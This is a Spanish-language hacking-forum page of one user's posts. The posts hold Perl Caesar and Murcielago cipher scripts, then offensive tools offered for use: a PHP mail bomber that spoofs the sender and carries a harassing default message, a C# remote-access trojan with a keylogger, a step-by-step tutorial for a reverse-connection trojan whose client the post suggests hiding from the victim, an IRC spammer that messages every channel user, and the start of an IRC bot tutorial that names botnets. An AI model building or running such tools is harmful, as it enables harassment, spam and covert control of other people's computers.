Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#91
Scripting / [Perl] Ejemplo de Cifrado Cesar
28 Noviembre 2014, 17:48 PM
Un simple ejemplo de como hacer en cifrado cesar en Perl.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Caesar Cipher
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Caesar Cipher == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
==============
= Menu       =
==============
1 - Encode   =
2 - Decode   =
3 - Exit     =
==============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_cesar($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_cesar($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_cesar {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) + 3 );

            $letrafinal =~ s/{/a/;
            $letrafinal =~ s/\|/b/;
            $letrafinal =~ s/}/c/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

sub descifrado_cesar($texto) {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) - 3 );

            $letrafinal =~ s/\^/x/;
            $letrafinal =~ s/_/y/;
            $letrafinal =~ s/`/z/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

# The End ?
#92
Scripting / [Perl] Ejemplo de Cifrado Murcielago
21 Noviembre 2014, 14:11 PM
Un simple ejemplo en Perl sobre como realizar el cifrado Murcielago.

Código (perl) [Seleccionar]

# !usr/bin/perl
# Cifrado Murcielago
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Cifrado Murcielago == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
===============
= Menu        =
===============
1 - Cifrar    =
2 - Descifrar =
3 - Exit      =
===============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_murcielago($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_murcielago($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/murcielagoMURCIELAGO/01234567890123456789/;
    return $texto;
}

sub descifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/01234567890123456789/murcielagoMURCIELAGO/;
    return $texto;
}

# The End ?
#93
PHP / Re: [PHP] DH Bomber 0.5
14 Noviembre 2014, 21:43 PM
Cita de: Graphixx en 14 Noviembre 2014, 16:12 PM
Considera ponerle un servicio SMTP como el de sendgrid.com o http://www.serversmtp.com/ Asi podra enviar miles.

ok , gracias por las sugerencias.
#94
PHP / [PHP] DH Bomber 0.5
14 Noviembre 2014, 14:30 PM
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código (php) [Seleccionar]

<?php

// DH Bomber 0.5
// (C) Doddy Hackman 2014

echo '
<style type="text/css">


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #ffffff;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#ffffff;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#ffffff; 
border: solid 1px #ffffff;
border-color:#ffffff
}

a:link,a:visited,a:active {
color: #ffffff;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>'
;

echo 
"<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";

echo 
'<center><h1>-- == DH Bomber 0.5 == --</h1></center>
<center>
<br>'
;

if (isset(
$_POST['bombers'])) {
    
    
$cantidad_bien 0;
    
$cantidad_mal  0;
    
    
$need "";
    
$i    "";
    
$need .= "MIME-Version: 1.0\n";
    
$need .= "Content-type: text/html ; charset=iso-8859-1\n";
    
$need .= "MIME-Version: 1.0\n";
    
$need .= "From: " $_POST['nombrefalso'] . " <" $_POST['falso'] . ">\n";
    
$need .= "To: " $_POST['nombrefalso'] . "<" $_POST['falso'] . ">\n";
    
$need .= "Reply-To:" $_POST['falso'] . "\n";
    
$need .= "X-Priority: 1\n";
    
$need .= "X-MSMail-Priority:Hight\n";
    
$need .= "X-Mailer:Widgets.com Server";
    
    echo 
"
<table border=1>
<td><center><h2><a href=" 
"http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" ">Console</a></h2></center></td><tr>
<td><fieldset>\n\n"
;
    
    
$leyendo_mailist explode("\n"trim($_POST['mailist']));
    
$mails           array_filter($leyendo_mailist'trim');
    
    foreach (
$mails as $mail) {
        for (
$i 1$i <= $_POST['count']; $i++) {
            if (@
mail($mail$_POST['asunto'], $_POST['mensaje'], $need)) {
                
$cantidad_bien++;
                echo 
"[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" htmlentities($mail) . "</b><br>";
                
flush();
            } else {
                echo 
"[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" htmlentities($mail) . "</b><br>";
                
$cantidad_mal++;
            }
        }
        echo 
"<br>";
    }
    
    echo 
"<font color=#00FF00>[" $cantidad_bien "]</font> mails sent <font color=#00FF00>successfully</font>";
    echo 
"<br><font color=red>[" $cantidad_mal "]</font> mails sent <font color=red>failed</font>";
    
    echo 
"</fieldset></td></table>";
    
    if (
$cantidad_bien == 0) {
        echo 
"<script>alert('Mails Not Send')</script>";
    } else {
        
//echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
    
}
    
} else {
    echo 
'
<form action="" method="POST">
<table border="1">
<tr>
<td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
<td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
<td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
<td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
<td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
<td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
</tr></tbody></table><br><br>
<input name="bombers" value="Send" type="submit">
</form>'
;
}

echo 
'
<br>
<h1>-- == (C) Doddy Hackman 2014 == --</h1>
</center>'
;

// The End ?

?>

#95
.NET (C#, VB.NET, ASP) / [C#] DH Rat 0.3
7 Noviembre 2014, 15:11 PM
Un simple Rat que hice en C# con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Version VideoTutorial

    [youtube=640,360]http://www.youtube.com/watch?v=TCqxB82WXYc[/youtube]

    Si lo quieren bajar lo pueden hacer de aca.
#96
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares


Despues pongan las siguientes variables gobales al inicio del codigo :

Código (csharp) [Seleccionar]

TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread


Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código (csharp) [Seleccionar]

// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?


El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

    Les tiene que quedar algo asi :



    Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

    Código (csharp) [Seleccionar]

    private void button1_Click(object sender, EventArgs e)
    {
    int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
    tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
    thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
    thread_server.Start(); // Iniciamos el hilo thread_server
    }


    Despues del codigo del boton agreguen el siguiente codigo :

    Código (csharp) [Seleccionar]

    public void panel_control()
    {
    tcp_server.Start(); // Iniciamos el servidor
    while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
    {
    ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
    socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
    // los datos de la conexion pendiente
    }
    }

    void evento_panel_control(ServerManager vengo,string data)
    {
    Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para controlar que se encuentre
    // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
    if (regex.Success) // Si se encuentra ...
    {
    Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
    }

    regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
    // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
    // -RtaCommand-
    if (regex.Success) // Si se encuentra ...
    {
    MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
    }
    }

    delegate void _NewIdiot(ServerManager vengo);
    void NewIdiot(ServerManager vengo)
    {
    ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
    agregar.Text = vengo.ip; // Agregamos como texto la IP
    agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
    listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
    }


    Todos estos pasos les deberia quedar asi :



    Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

    Código (csharp) [Seleccionar]

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
    // listView


    Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

    Código (csharp) [Seleccionar]

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
    // listView


    Les deberia quedar algo asi los dos botones :



    Eso seria todo en el servidor.

    0x03 : Creacion del cliente

    Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



    Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

    Código (csharp) [Seleccionar]

    using System.Net.Sockets; // Lo usamos para el manejo de sockets
    using System.Net; // Lo usamos para el manejo de sockets
    using System.IO; // Lo usamos para el manejo de streams
    using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
    using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares


    Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

    Código (csharp) [Seleccionar]

    [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
    // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
    static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
    static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
    // IPEndPoint y la seteamos como null


    Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

    Código (csharp) [Seleccionar]

    datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
    // como IPEndPoint con el valor de la IP y el puerto
    entrar_al_servidor(); // Realizamos la conexion


    Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

    Código (csharp) [Seleccionar]

    public static void entrar_al_servidor()
    {
    try
    {
    conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
    enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
    // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
    }
    catch
    {
    //
    }
    }

    public static void leer_datos_del_servidor(IAsyncResult now)
    {
    try
    {
    StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
    // de tipo StreamReader para poder leer los datos que vienen
    string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido

    Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para verificar que nos envien la orden OpenCD
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
    enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
    }

    regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
    // nos envien la orden de CloseCd
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
    enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
    }

    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
    }
    catch
    {
    //
    }
    }

    public static void enviar_respuesta(string texto)
    {
    try
    {
    StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
    // como StreamWriter para poder mandar un mensaje
    enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
    enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
    }
    catch
    {
    //
    }
    }


    Con eso ya estaria listo el cliente.

    0x04 : Probando el programa

    Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
    Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

    Unas imagenes de como funciona :







    Eso seria todo.

    0x05 : Bibliografia

    http://www.hackforums.net/showthread.php?tid=827069
    http://0six.wordpress.com/2011/04/03/c-rattcp-connection-tutorial/

    --========--
      The End ?
    --========--

    Version PDF.

    Version VideoTutorial :

    [youtube=640,360]https://www.youtube.com/watch?v=gd2nyjpcCDQ[/youtube]

    Eso es todo.
#97
Traduccion a C# de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de aca.
#98
.NET (C#, VB.NET, ASP) / [C#] King Spam 0.2
17 Octubre 2014, 16:09 PM
Un simple programa estilo consola en C# para hacer spam en un canal IRC desde un archivo de texto con el spam a enviar.

El codigo :

Código (csharp) [Seleccionar]

// King Spam 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace kingspam
{
    class Program
    {

        static string[] usuarios;

        static StreamReader leer_datos;
        static StreamWriter mandar_datos;

        static void printear_logo(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear_especial(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static string print_form(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(texto);
            Console.ResetColor();

            Console.ForegroundColor = ConsoleColor.Cyan;
            string resultado = Console.ReadLine();
            Console.ResetColor();

            return resultado;

        }

        static void Main(string[] args)
        {

            printear_logo("\n-- == KingSpam 0.2 == --\n\n");

            string host_irc = print_form("[+] Host : ");
            string port_irc = print_form("\n[+] Port : ");
            string canal_irc = print_form("\n[+] Channel : ");
            string nick_irc = print_form("\n[+] Nickname : ");
            string file_spam = print_form("\n[+] Filename with spam : ");
            string timeout = print_form("\n[+] Timeout : ");

            if (File.Exists(file_spam))
            {
                string[] spam_lista_now = System.IO.File.ReadAllLines(file_spam);
                List<string> spam_lista = new List<string> {""};
                foreach (string agregar in spam_lista_now)
                {
                    spam_lista.Add(agregar);
                }

                NetworkStream conexion;
                TcpClient irc;

                string host = host_irc;
                string nickname = nick_irc;
                string canal = canal_irc;
                string code = "";

                printear_especial("\n[+] Connecting ...\n");

                try
                {

                    irc = new TcpClient(host, Convert.ToInt32(port_irc));
                    conexion = irc.GetStream();
                    leer_datos = new StreamReader(conexion);
                    mandar_datos = new StreamWriter(conexion);

                    mandar_datos.WriteLine("NICK " + nickname);
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1");
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("JOIN " + canal);
                    mandar_datos.Flush();

                    printear("[+] Online ...");
                   

                }

                catch
                {
                    printear("\n[-] Error\n");
                }

                while (true)
                {
                    while ((code = leer_datos.ReadLine()) != null)
                    {

                        Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string te_doy_pong = "PONG " + regex.Groups[1].Value;
                            mandar_datos.WriteLine(te_doy_pong);
                            mandar_datos.Flush();
                        }

                        regex = Regex.Match(code, ":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string usuarios_lista = regex.Groups[4].Value;
                            usuarios = usuarios_lista.Split(' ');
                            printear("\n[+] Users Found : " + usuarios.Length + "\n");
                            foreach (string usuario in usuarios)
                            {
                                printear("[+] User : " + usuario);
                            }
                            printear_especial("\n[+] Spammer Online\n");

                            while (true)
                            {

                                System.Threading.Thread.Sleep(Convert.ToInt32(timeout) * 1000);

                                var azar = new Random();
                                int pos = azar.Next(spam_lista.Count);
                                string mensaje = spam_lista[pos];

                                if (mensaje != "")
                                {
                                    mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + mensaje);
                                    mandar_datos.Flush();
                                }

                                foreach (string usuario in usuarios)
                                {
                                    if (usuario != nick_irc)
                                    {
                                        if (spam_lista[pos] != "")
                                        {
                                            mandar_datos.WriteLine("PRIVMSG" + " " + usuario + " " + mensaje);
                                            mandar_datos.Flush();
                                        }
                                    }
                                }
                            }

                        }
                   
                       
                    }

                }

            }
            else
            {
                printear_especial("[-] Error loading file");
            }

            Console.ReadLine();
           
        }
    }
}

// The End ?


Imagenes :





Si lo quieren bajar lo pueden hacer de aca.
#99
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando

-- =================--------

0x01 : Introduccion

Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven.
Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos
para hacking tools.

Comencemos ...

Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :



Con el proyecto ya creado pasemos al siguiente punto.

0x02 : Conectando con el servidor

Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :

Código (csharp) [Seleccionar]

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares


Para poder realizar la conexion usamos los sockets de la siguiente forma :

Código (csharp) [Seleccionar]

NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
TcpClient irc; // Establecemos la variable irc como TcpClient
StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush(); // Actualizamos la conexion

mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
mandar_datos.Flush(); // ..

mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
mandar_datos.Flush(); // ..


Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.

Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el  servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :

Código (csharp) [Seleccionar]

while (true) // Mi bucle eterno
{
while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
{
Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if (regex.Success) // Si se encontro algo
{
string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
mandar_datos.Flush(); // ..
}
}
}


Con esto ya estamos conectados.

0x03 : Listando usuarios

Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :

Código (csharp) [Seleccionar]

static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal


Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :

Código (csharp) [Seleccionar]

regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if (regex.Success) // Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
}
}


Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.

0x04 : Mandar mensajes

Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :

Código (csharp) [Seleccionar]

PRIVMSG #locos Mensaje


Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :

Código (csharp) [Seleccionar]

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..


0x05 : Recibir privados

